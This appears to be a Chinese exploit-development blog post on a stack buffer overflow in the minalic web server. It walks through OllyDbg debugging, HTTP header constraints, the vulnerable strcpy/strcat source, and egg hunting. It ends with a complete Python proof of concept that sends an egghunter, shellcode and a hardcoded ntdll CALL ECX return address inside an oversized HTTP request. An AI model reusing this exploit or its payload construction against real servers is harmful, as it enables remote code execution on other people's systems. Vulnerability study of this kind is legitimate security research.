下载地址 http://www.exploit-db.com/wp-content/themes/exploit/applications/2b0e04c048c9b84b12f742ae38136de6-minalic.zip
首先编写一个python socket 脚本,发现 OD载入程序后下断 recv 居然不能断下,然后深入发现 调用的其实是WSARecv 源码中只是利用了开启一个线程,但是
编译器却安排了 WSARecv ,百思不得其解················可能是编译器优化吧
网上COPY下来:
recv操作默认是阻塞的,没有数据到来,所在的线程会一直被挂机。
而WSARecv是非阻塞的,只是向iocp队列投递了一个recv操作就立刻返回了,线程继续向下执行。
而你要做的是不停的从iocp完成队列获取已经完成的操作,并处理获得的数据。这个投递操作的线程是并行的。
首先观察 结尾必须为 连续两个 " "
下面还有大量的分析包数据的检查··········
这种情况一般就直接发正常包去分析······················································
00EAF738 47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A GET / HTTP/1.1.. 00EAF748 41 63 63 65 70 74 3A 20 69 6D 61 67 65 2F 67 69 Accept: image/gi 00EAF758 66 2C 20 69 6D 61 67 65 2F 78 2D 78 62 69 74 6D f, image/x-xbitm 00EAF768 61 70 2C 20 69 6D 61 67 65 2F 6A 70 65 67 2C 20 ap, image/jpeg, 00EAF778 69 6D 61 67 65 2F 70 6A 70 65 67 2C 20 61 70 70 image/pjpeg, app 00EAF788 6C 69 63 61 74 69 6F 6E 2F 78 2D 73 68 6F 63 6B lication/x-shock 00EAF798 77 61 76 65 2D 66 6C 61 73 68 2C 20 61 70 70 6C wave-flash, appl 00EAF7A8 69 63 61 74 69 6F 6E 2F 78 2D 6D 73 2D 61 70 70 ication/x-ms-app 00EAF7B8 6C 69 63 61 74 69 6F 6E 2C 20 61 70 70 6C 69 63 lication, applic 00EAF7C8 61 74 69 6F 6E 2F 78 2D 6D 73 2D 78 62 61 70 2C ation/x-ms-xbap, 00EAF7D8 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 76 6E 64 application/vnd 00EAF7E8 2E 6D 73 2D 78 70 73 64 6F 63 75 6D 65 6E 74 2C .ms-xpsdocument, 00EAF7F8 20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 61 6D application/xam 00EAF808 6C 2B 78 6D 6C 2C 20 2A 2F 2A 0D 0A 41 63 63 65 l+xml, */*..Acce 00EAF818 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 7A 68 2D pt-Language: zh- 00EAF828 63 6E 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 cn..Accept-Encod 00EAF838 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 ing: gzip, defla 00EAF848 74 65 0D 0A 49 66 2D 4D 6F 64 69 66 69 65 64 2D te..If-Modified- 00EAF858 53 69 6E 63 65 3A 20 4D 6F 6E 2C 20 30 39 20 4A Since: Mon, 09 J 00EAF868 75 6E 20 32 30 31 34 20 31 35 3A 33 34 3A 31 31 un 2014 15:34:11 00EAF878 20 47 4D 54 0D 0A 55 73 65 72 2D 41 67 65 6E 74 GMT..User-Agent 00EAF888 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 : Mozilla/4.0 (c 00EAF898 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 20 ompatible; MSIE 00EAF8A8 36 2E 30 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 6.0; Windows NT 00EAF8B8 35 2E 31 3B 20 53 56 31 3B 20 2E 4E 45 54 20 43 5.1; SV1; .NET C 00EAF8C8 4C 52 20 32 2E 30 2E 35 30 37 32 37 3B 20 2E 4E LR 2.0.50727; .N 00EAF8D8 45 54 20 43 4C 52 20 33 2E 30 2E 34 35 30 36 2E ET CLR 3.0.4506. 00EAF8E8 32 31 35 32 3B 20 2E 4E 45 54 20 43 4C 52 20 33 2152; .NET CLR 3 00EAF8F8 2E 35 2E 33 30 37 32 39 29 0D 0A 48 6F 73 74 3A .5.30729)..Host: 00EAF908 20 31 32 37 2E 30 2E 30 2E 31 3A 38 30 38 30 0D 127.0.0.1:8080. 00EAF918 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B 65 65 .Connection: Kee 00EAF928 70 2D 41 6C 69 76 65 0D 0A 43 6F 6F 6B 69 65 3A p-Alive..Cookie: 00EAF938 20 73 74 79 6C 65 3D 64 65 66 61 75 6C 74 0D 0A style=default.. 00EAF948 0D 0A ..
满足条件即可使用······················
可以测试出
junk1 = "A"*(0xFE-len("/"))//下图可以推断 junk1 的长度
junk2 = "B"*0x100
junk3 = "C"*300
PAYLOAD = "GET /" +junk1+ " HTTP/1.1 " +"Host: "+ junk2 + " Accept: xxxxxxxxx "+ "User-Agent: xxxxx"+junk3+" "
下面可以推断 junk2 为 0x100 大小
下面规定了总大小·····················
幸运的是没有检查字节``````````
LEAVE指令 相当于:
MOV SP,BP
POP BP
可以看到 直接跳去 ECX 但是长度不够,我们用 egg hunting技术 详细查看
http://blog.csdn.net/zcc1414/article/details/28112313#t2
现在查看源文件的漏洞地点:
static Result retrieve_physical_file_name_or_brows(Response *self, Request *req, char *physical) { char file[FILE_SIZE]; size_t last; char * host; Directorybrowser *dir_brows = NULL; int can_brows_dir = 0; int has_default_file; char *brows_data = 0; Result res; int is_root = 0; int i; assert(self); assert(req); assert(physical); /* Add the server web path to the filename*/ strcpy(file, g_wwwroot_path); strcat(file, req->_file);/////////////////在解析 包头时没有对 它进行限制什么的 默认的是 index.htm 是一个文件名称 /* Convert webslashes to fileslashes*/ for (i = 0; file[i] != ' '; i++)<span style="font-family: Arial, Helvetica, sans-serif;">/////////////执行</span> { if (file[i] == '/') file[i] = '\'; } /* Get the last character in the file name*/ last = strlen(file) - 1; assert(last > 0); /* If the filename ends with a slash it means that a default file is requested*/ if (file[last] == '\')<span style="font-family: Arial, Helvetica, sans-serif;">////////////不/执行</span> { /* Create a directory browser object that can decide if to browse the directory*/ dir_brows = directorybrowser_create(file, g_conf_brows_default, req->_file); can_brows_dir = directorybrowser_can_brows(dir_brows); has_default_file = add_default_file(file);###########默认这里会将之添加为 index.htm if (can_brows_dir && !has_default_file) { /*Perform the directory browsing*/ directorybrowser_get_brows_data(dir_brows, &brows_data); assert(brows_data); res = response_send_data(self, req,brows_data, "text/html"); directorybrowser_delete(dir_brows); if (OK == res) { return ENDED; } } else { directorybrowser_delete(dir_brows); } } /* * If no default file is requested go on and try to figure out * if the requested file is a physical file or a directory. */ else if (is_directory(file))////////////////不执行 { /* If the requested file is a directory not ending with a slash (default file) * tell the browser that it should request the directory with a slash. * This is done by send the message MOVED PERMANENTLY to the browser * with the new file name including a slash. */ /* Get the host name that is needed when building new URL*/ host = map_getval(req->_headers, "Host:"); if (host == NULL) return ERR; /* Start build a new URL*/ strcpy(file, "http://"); strcat(file, host); strcat(file, req->_file); /* Add a slash (default file)*/ strcat(file, "/"); /* Send the response*/ response_send_moved_permanently(self, file); /* Return that the response is already taken care of*/ return ENDED; } /* Return the physical file name*/ strcpy(physical, file); //可以看到 发生的漏洞地点在这里!!!!!!!!!!!!!!!! return OK; }
POC: PYTHON
#coding:utf-8 import socket #Log data, 条目 18 #地址=7C9565A6 #消息=Found CALL ECX at 0x7c9565a6 Module: C:WINDOWSsystem32 tdll.dll egghunter = ("x83xe2x01"+ #and edx,0x1 "x66x81xCAxFFx0Fx42x52x6A"+ "x02"+ "x58xCDx2Ex3Cx05x5Ax74xEFxB8"+ "x70x61x6ex64"+ "x8BxFAxAFx75xEAxAFx75xE7xFFxE7") shellcode=("xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"+ "x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"+ "x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"+ "x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"+ "xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"+ "x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"+ "xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"+ "xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"+ "x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"+ "x53"+ "x68x64x61x30x23"+ "x68x23x50x61x6E"+ "x8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8") ret = "xa6x65x95x7c" #182 bytes junk1 = "A"*170 +ret+8*"a" #256=0x100 ##################egg 用pand 连续两个 egg 是 egg hunting 的特点 junk2 = "pandpand" + shellcode + "B"*(256-len(shellcode)-len("pandpand")) junk3 = "C" * 378+ egghunter + "c" * (1354-378-len(egghunter)) #"C"*378 + 348 #1354 ######################################################################################################################## 1)junk1 中 把 返回地址 覆盖为 ntdll 中的 call ecx ; 2)ecx 指向 junk3 中的空间 ,junk3中放入 egg hunter , 3)在junk2 中放入 shellcode 然后egg hunter 搜索到egg 后执行 shellcode后运行(是后向前执行) ######################################################################################################################## buf = "GET /" +junk1+ " HTTP/1.1 " +"Host: "+ junk2 + " Accept: xxxxxxxxx "+ "User-Agent: xxxxx"+junk3+" " print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("127.0.0.1", 8080)) s.send(buf)